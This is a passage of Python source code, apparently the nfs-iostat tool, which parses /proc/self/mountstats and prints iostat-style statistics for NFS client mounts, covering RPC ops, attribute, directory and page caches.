'normalwritebytes', 'directreadbytes', 'directwritebytes', 'serverreadbytes', 'serverwritebytes', 'readpages', 'writepages' ] class DeviceData: """DeviceData objects provide methods for parsing and displaying data for a single mount grabbed from /proc/self/mountstats """ def __init__(self): self.__nfs_data = dict() self.__rpc_data = dict() self.__rpc_data['ops'] = [] def __parse_nfs_line(self, words): if words[0] == 'device': self.__nfs_data['export'] = words[1] self.__nfs_data['mountpoint'] = words[4] self.__nfs_data['fstype'] = words[7] if words[7] == 'nfs': self.__nfs_data['statvers'] = words[8] elif 'nfs' in words or 'nfs4' in words: self.__nfs_data['export'] = words[0] self.__nfs_data['mountpoint'] = words[3] self.__nfs_data['fstype'] = words[6] if words[6] == 'nfs': self.__nfs_data['statvers'] = words[7] elif words[0] == 'age:': self.__nfs_data['age'] = int(words[1]) elif words[0] == 'opts:': self.__nfs_data['mountoptions'] = ''.join(words[1:]).split(',') elif words[0] == 'caps:': self.__nfs_data['servercapabilities'] = ''.join(words[1:]).split(',') elif words[0] == 'nfsv4:': self.__nfs_data['nfsv4flags'] = ''.join(words[1:]).split(',') elif words[0] == 'sec:': keys = ''.join(words[1:]).split(',') self.__nfs_data['flavor'] = int(keys[0].split('=')[1]) self.__nfs_data['pseudoflavor'] = 0 if self.__nfs_data['flavor'] == 6: self.__nfs_data['pseudoflavor'] = int(keys[1].split('=')[1]) elif words[0] == 'events:': i = 1 for key in NfsEventCounters: self.__nfs_data[key] = int(words[i]) i += 1 elif words[0] == 'bytes:': i = 1 for key in NfsByteCounters: self.__nfs_data[key] = int(words[i]) i += 1 def __parse_rpc_line(self, words): if words[0] == 'RPC': self.__rpc_data['statsvers'] = float(words[3]) self.__rpc_data['programversion'] = words[5] elif words[0] == 'xprt:': self.__rpc_data['protocol'] = words[1] if words[1] == 'udp': self.__rpc_data['port'] = int(words[2]) self.__rpc_data['bind_count'] = int(words[3]) self.__rpc_data['rpcsends'] = int(words[4]) self.__rpc_data['rpcreceives'] = int(words[5]) self.__rpc_data['badxids'] = int(words[6]) self.__rpc_data['inflightsends'] = int(words[7]) self.__rpc_data['backlogutil'] = int(words[8]) elif words[1] == 'tcp': self.__rpc_data['port'] = words[2] self.__rpc_data['bind_count'] = int(words[3]) self.__rpc_data['connect_count'] = int(words[4]) self.__rpc_data['connect_time'] = int(words[5]) self.__rpc_data['idle_time'] = int(words[6]) self.__rpc_data['rpcsends'] = int(words[7]) self.__rpc_data['rpcreceives'] = int(words[8]) self.__rpc_data['badxids'] = int(words[9]) self.__rpc_data['inflightsends'] = int(words[10]) self.__rpc_data['backlogutil'] = int(words[11]) elif words[1] == 'rdma': self.__rpc_data['port'] = words[2] self.__rpc_data['bind_count'] = int(words[3]) self.__rpc_data['connect_count'] = int(words[4]) self.__rpc_data['connect_time'] = int(words[5]) self.__rpc_data['idle_time'] = int(words[6]) self.__rpc_data['rpcsends'] = int(words[7]) self.__rpc_data['rpcreceives'] = int(words[8]) self.__rpc_data['badxids'] = int(words[9]) self.__rpc_data['backlogutil'] = int(words[10]) self.__rpc_data['read_chunks'] = int(words[11]) self.__rpc_data['write_chunks'] = int(words[12]) self.__rpc_data['reply_chunks'] = int(words[13]) self.__rpc_data['total_rdma_req'] = int(words[14]) self.__rpc_data['total_rdma_rep'] = int(words[15]) self.__rpc_data['pullup'] = int(words[16]) self.__rpc_data['fixup'] = int(words[17]) self.__rpc_data['hardway'] = int(words[18]) self.__rpc_data['failed_marshal'] = int(words[19]) self.__rpc_data['bad_reply'] = int(words[20]) elif words[0] == 'per-op': self.__rpc_data['per-op'] = words else: op = words[0][:-1] self.__rpc_data['ops'] += [op] self.__rpc_data[op] = [int(word) for word in words[1:]] def parse_stats(self, lines): """Turn a list of lines from a mount stat file into a dictionary full of stats, keyed by name """ found = False for line in lines: words = line.split() if len(words) == 0: continue if (not found and words[0] != 'RPC'): self.__parse_nfs_line(words) continue found = True self.__parse_rpc_line(words) def is_nfs_mountpoint(self): """Return True if this is an NFS or NFSv4 mountpoint, otherwise return False """ if self.__nfs_data['fstype'] == 'nfs': return True elif self.__nfs_data['fstype'] == 'nfs4': return True return False def compare_iostats(self, old_stats): """Return the difference between two sets of stats """ result = DeviceData() # copy self into result for key, value in self.__nfs_data.items(): result.__nfs_data[key] = value for key, value in self.__rpc_data.items(): result.__rpc_data[key] = value # compute the difference of each item in the list # note the copy loop above does not copy the lists, just # the reference to them. so we build new lists here # for the result object. for op in result.__rpc_data['ops']: result.__rpc_data[op] = list(map( difference, self.__rpc_data[op], old_stats.__rpc_data[op])) # update the remaining keys we care about result.__rpc_data['rpcsends'] -= old_stats.__rpc_data['rpcsends'] result.__rpc_data['backlogutil'] -= old_stats.__rpc_data['backlogutil'] for key in NfsEventCounters: result.__nfs_data[key] -= old_stats.__nfs_data[key] for key in NfsByteCounters: result.__nfs_data[key] -= old_stats.__nfs_data[key] return result def __print_data_cache_stats(self): """Print the data cache hit rate """ nfs_stats = self.__nfs_data app_bytes_read = float(nfs_stats['normalreadbytes']) if app_bytes_read != 0: client_bytes_read = float(nfs_stats['serverreadbytes'] - nfs_stats['directreadbytes']) ratio = ((app_bytes_read - client_bytes_read) * 100) / app_bytes_read print() print('app bytes: %f client bytes %f' % (app_bytes_read, client_bytes_read)) print('Data cache hit ratio: %4.2f%%' % ratio) def __print_attr_cache_stats(self, sample_time): """Print attribute cache efficiency stats """ nfs_stats = self.__nfs_data getattr_stats = self.__rpc_data['GETATTR'] if nfs_stats['inoderevalidates'] != 0: getattr_ops = float(getattr_stats[1]) opens = float(nfs_stats['vfsopen']) revalidates = float(nfs_stats['inoderevalidates']) - opens if revalidates != 0: ratio = ((revalidates - getattr_ops) * 100) / revalidates else: ratio = 0.0 data_invalidates = float(nfs_stats['datainvalidates']) attr_invalidates = float(nfs_stats['attrinvalidates']) print() print('%d inode revalidations, hitting in cache %4.2f%% of the time' % \ (revalidates, ratio)) print('%d open operations (mandatory GETATTR requests)' % opens) if getattr_ops != 0: print('%4.2f%% of GETATTRs resulted in data cache invalidations' % \ ((data_invalidates * 100) / getattr_ops)) def __print_dir_cache_stats(self, sample_time): """Print directory stats """ nfs_stats = self.__nfs_data lookup_ops = self.__rpc_data['LOOKUP'][0] readdir_ops = self.__rpc_data['READDIR'][0] if 'READDIRPLUS' in self.__rpc_data: readdir_ops += self.__rpc_data['READDIRPLUS'][0] dentry_revals = nfs_stats['dentryrevalidates'] opens = nfs_stats['vfsopen'] lookups = nfs_stats['vfslookup'] getdents = nfs_stats['vfsreaddir'] print() print('%d open operations (pathname lookups)' % opens) print('%d dentry revalidates and %d vfs lookup requests' % \ (dentry_revals, lookups)) print('resulted in %d LOOKUPs on the wire' % lookup_ops) print('%d vfs getdents calls resulted in %d READDIRs on the wire' % \ (getdents, readdir_ops)) def __print_page_stats(self, sample_time): """Print page cache stats """ nfs_stats = self.__nfs_data vfsreadpage = nfs_stats['vfsreadpage'] vfsreadpages = nfs_stats['vfsreadpages'] pages_read = nfs_stats['readpages'] vfswritepage = nfs_stats['vfswritepage'] vfswritepages = nfs_stats['vfswritepages'] pages_written = nfs_stats['writepages'] print() print('%d nfs_readpage() calls read %d pages' % \ (vfsreadpage, vfsreadpage)) print('%d nfs_readpages() calls read %d pages' % \ (vfsreadpages, pages_read - vfsreadpage)) if vfsreadpages != 0: print('(%.1f pages per call)' % \ (float(pages_read - vfsreadpage) / vfsreadpages)) else: print() print() print('%d nfs_updatepage() calls' % nfs_stats['vfsupdatepage']) print('%d nfs_writepage() calls wrote %d pages' % \ (vfswritepage, vfswritepage)) print('%d nfs_writepages() calls wrote %d pages' % \ (vfswritepages, pages_written - vfswritepage)) if (vfswritepages) != 0: print('(%.1f pages per call)' % \ (float(pages_written - vfswritepage) / vfswritepages)) else: print() congestionwaits = nfs_stats['congestionwait'] if congestionwaits != 0: print() print('%d congestion waits' % congestionwaits) def __print_rpc_op_stats(self, op, sample_time): """Print generic stats for one RPC op """ if op not in self.__rpc_data: return rpc_stats = self.__rpc_data[op] ops = float(rpc_stats[0]) retrans = float(rpc_stats[1] - rpc_stats[0]) kilobytes = float(rpc_stats[3] + rpc_stats[4]) / 1024 rtt = float(rpc_stats[6]) exe = float(rpc_stats[7]) # prevent floating point exceptions if ops != 0: kb_per_op = kilobytes / ops retrans_percent = (retrans * 100) / ops rtt_per_op = rtt / ops exe_per_op = exe / ops else: kb_per_op = 0.0 retrans_percent = 0.0 rtt_per_op = 0.0 exe_per_op = 0.0 op += ':' print('%s' % op.lower().ljust(15), end='') print(' ops/s\t\t kB/s\t\t kB/op\t\tretrans\t\tavg RTT (ms)\tavg exe (ms)') print('\t\t%7.3f' % (ops / sample_time), end='') print('\t%7.3f' % (kilobytes / sample_time), end='') print('\t%7.3f' % kb_per_op, end='') print(' %7d (%3.1f%%)' % (retrans, retrans_percent), end='') print('\t%7.3f' % rtt_per_op, end='') print('\t%7.3f' % exe_per_op) def ops(self, sample_time): sends = float(self.__rpc_data['rpcsends']) if sample_time == 0: sample_time = float(self.__nfs_data['age']) return (sends / sample_time) def display_iostats(self, sample_time, which): """Display NFS and RPC stats in an iostat-like way """ sends = float(self.__rpc_data['rpcsends']) if sample_time == 0: sample_time = float(self.__nfs_data['age']) # sample_time could still be zero if the export was just mounted. # Set it to 1 to avoid divide by zero errors in this case since we'll # likely still have relevant mount statistics to show. # if sample_time == 0: sample_time = 1; if sends != 0: backlog = (float(self.__rpc_data['backlogutil']) / sends) / sample_time else: backlog = 0.0 print() print('%s mounted on %s:' % \ (self.__nfs_data['export'], self.__nfs_data['mountpoint'])) print() print(' op/s\t\trpc bklog') print('%7.2f' % (sends / sample_time), end='') print('\t%7.2f' % backlog) if which == 0: self.__print_rpc_op_stats('READ', sample_time) self.__print_rpc_op_stats('WRITE', sample_time) elif which == 1: self.__print_rpc_op_stats('GETATTR', sample_time) self.__print_rpc_op_stats('ACCESS', sample_time) self.__print_attr_cache_stats(sample_time) elif which == 2: self.__print_rpc_op_stats('LOOKUP', sample_time) self.__print_rpc_op_stats('READDIR', sample_time) if 'READDIRPLUS' in self.__rpc_data: self.__print_rpc_op_stats('READDIRPLUS', sample_time) self.__print_dir_cache_stats(sample_time) elif which == 3: self.__print_rpc_op_stats('READ', sample_time) self.__print_rpc_op_stats('WRITE', sample_time) self.__print_page_stats(sample_time) sys.stdout.flush() # # Functions # def parse_stats_file(filename): """pop the contents of a mountstats file into a dictionary, keyed by mount point. each value object is a list of the lines in the mountstats file corresponding to the mount point named in the key. """ ms_dict = dict() key = '' f = open(filename) for line in f.readlines(): words = line.split() if len(words) == 0: continue if line.startswith("no device mounted") : continue if words[0] == 'device': key = words[4] new = [ line.strip() ] elif 'nfs' in words or 'nfs4' in words: key = words[3] new = [ line.strip() ] else: new += [ line.strip() ] ms_dict[key] = new f.close return ms_dict def print_iostat_summary(old, new, devices, time, options): stats = {} diff_stats = {} if old: # Trim device list to only include intersection of old and new data, # this addresses umounts due to autofs mountpoints devicelist = [x for x in old if x in devices] else: devicelist = devices for device in devicelist: stats[device] = DeviceData() stats[device].parse_stats(new[device]) if old: old_stats = DeviceData() old_stats.parse_stats(old[device]) diff_stats[device] = stats[device].compare_iostats(old_stats) if options.sort: if old: # We now have compared data and can print a comparison # ordered by mountpoint ops per second devicelist.sort(key=lambda x: diff_stats[x].ops(time), reverse=True) else: # First iteration, just sort by newly parsed ops/s devicelist.sort(key=lambda x: stats[x].ops(time), reverse=True) count = 1 for device in devicelist: if old: diff_stats[device].display_iostats(time, options.which) else: stats[device].display_iostats(time, options.which) count += 1 if (count > options.list): return def list_nfs_mounts(givenlist, mountstats): """return a list of NFS mounts given a list to validate or return a full list if the given list is empty - may return an empty list if none found """ list = [] if len(givenlist) > 0: for device in givenlist: stats = DeviceData() stats.parse_stats(mountstats[device]) if stats.is_nfs_mountpoint(): list += [device] else: for device, descr in mountstats.items(): stats = DeviceData() stats.parse_stats(descr) if stats.is_nfs_mountpoint(): list += [device] return list def iostat_command(name): """iostat-like command for NFS mount points """ mountstats = parse_stats_file('/proc/self/mountstats') devices = [] origdevices = [] interval_seen = False count_seen = False mydescription= """ Sample iostat-like program to display NFS client per-mount' statistics. The <interval> parameter specifies the amount of time in seconds between each report. The first report contains statistics for the time since each file system was mounted. Each subsequent report contains statistics collected during the interval since the previous report. If the <count> parameter is specified, the value of <count> determines the number of reports generated at <interval> seconds apart. If the interval parameter is specified without the <count> parameter, the command generates reports continuously. If one or more <mount point> names are specified, statistics for only these mount points will be displayed. Otherwise, all NFS mount points on the client are listed. """ parser = OptionParser( usage="usage: %prog [ <interval> [ <count> ] ] [ <options> ] [ <mount point> ]", description=mydescription, version='version %s' % Iostats_version) parser.set_defaults(which=0, sort=False, list=sys.maxsize) statgroup = OptionGroup(parser, "Statistics Options", 'File I/O is displayed unless one of the following is specified:') statgroup.add_option('-a', '--attr', action="store_const", dest="which", const=1, help='displays statistics related to the attribute cache') statgroup.add_option('-d', '--dir', action="store_const", dest="which", const=2, help='displays statistics related to directory operations') statgroup.add_option('-p', '--page', action="store_const", dest="which", const=3, help='displays statistics related to the page cache') parser.add_option_group(statgroup) displaygroup = OptionGroup(parser, "Display Options", 'Options affecting display format:') displaygroup.add_option('-s', '--sort', action="store_true", dest="sort", help="Sort NFS mount points by ops/second") displaygroup.add_option('-l','--list', action="store", type="int", dest="list", help="only print stats for first LIST mount points") parser.add_option_group(displaygroup) (options, args) = parser.parse_args(sys.argv) for arg in args: if arg == sys.argv[0]: continue if arg in mountstats: origdevices += [arg] elif not interval_seen: try: interval = int(arg) except: print('Illegal <interval> value %s' % arg) return if interval > 0: interval_seen = True else: print('Illegal <interval> value %s' % arg) return elif not count_seen: try: count = int(arg) except: print('Ilegal <count> value %s' % arg) return if count > 0: count_seen = True else: print('Illegal <count> value %s' % arg) return # make certain devices contains only NFS mount points devices = list_nfs_mounts(origdevices, mountstats) if len(devices) == 0: print('No NFS mount points were found') return old_mountstats = None sample_time = 0.0 if not interval_seen: print_iostat_summary(old_mountstats, mountstats, devices, sample_time, options) return if count_seen: while count != 0: print_iostat_summary(old_mountstats, mountstats, devices, sample_time, options) old_mountstats = mountstats time.sleep(interval) sample_time = interval mountstats = parse_stats_file('/proc/self/mountstats') # automount mountpoints add and drop, if automount is involved # we need to recheck the devices list when reparsing devices = list_nfs_mounts(origdevices,mountstats) if len(devices) == 0: print('No NFS mount points were found') return count -= 1 else: while True: print_iostat_summary(old_mountstats, mountstats, devices, sample_time, options) old_mountstats = mountstats time.sleep(interval) sample_time = interval mountstats = parse_stats_file('/proc/self/mountstats') # automount mountpoints add and drop, if automount is involved # we need to recheck the devices list when reparsing devices = list_nfs_mounts(origdevices,mountstats) if len(devices) == 0: print('No NFS mount points were found') return # # Main # prog = os.path.basename(sys.argv[0]) try: iostat_command(prog) except KeyboardInterrupt: print('Caught ^C... exiting') sys.exit(1) sys.exit(0)
Close
